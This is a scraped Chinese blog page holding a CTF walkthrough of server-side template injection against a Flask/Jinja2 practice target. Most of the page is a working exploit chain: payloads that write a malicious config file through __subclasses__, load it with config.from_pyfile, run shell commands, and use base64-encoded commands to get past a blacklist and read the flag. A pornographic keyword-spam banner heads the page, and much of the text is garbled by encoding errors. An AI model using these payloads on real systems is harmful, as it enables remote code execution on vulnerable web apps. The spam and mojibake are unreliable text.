日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF SSTI模板注入详解

發(fā)布時(shí)間:2023/12/20 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF SSTI模板注入详解 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

我們用一題“百度杯”CTF比賽來實(shí)戰(zhàn)解題:

?

這邊臨時(shí)靶場的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/

首先bp暴力破解先找到一個(gè)傳參,一般都是一些簡單的id,name等等,這里是name

嘗試name={{5-4}},發(fā)現(xiàn)返回1,可以確認(rèn)是python,模板注入

確認(rèn)是模板注入,就可以直接使用payload了:

想更深入了解模板注入里面涉及的知識(shí),函數(shù)的使用等,可以參考這個(gè)大佬的文章

https://xz.aliyun.com/t/7746

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

URL:

eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from?subprocess?import?check_output\n\nRUNCMD?=?check_output\n')?}}

返回None,證明傳遞成功

{{ config.from_pyfile('/tmp/owned.cfg') }}

URL:

eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com

/?name={{?config.from_pyfile('/tmp/owned.cfg')?}}

返回True,證明上傳成功

現(xiàn)在就可以操作了

{{ config['RUNCMD'] ('ps aux',shell=True) }}

URL

http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('ps aux',shell=True) }}

/usr/bin/id 查看當(dāng)前用戶,發(fā)現(xiàn)是root用戶

用ps aux查看當(dāng)前進(jìn)程,發(fā)現(xiàn)有一個(gè)文件是

嘗試了ls等一些命令,發(fā)現(xiàn)很多命令被黑名單過濾了,我們使用base64編碼來繞過

echo **(密文)** | base64 -d 注意:代碼要用反引號(hào)``包起來

把命令先base64加密

{{ config['RUNCMD'] ('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

URL

http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{?config['RUNCMD']?('`echo?bHMgLWFsIC92YXIvd3d3L2h0bWwK?|?base64?-d`',shell=True)?}}

?④

最后獲取flag

cat /var/www/html/fl4g

URL:
view-source:http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

得出flag

?

總結(jié)

以上是生活随笔為你收集整理的CTF SSTI模板注入详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。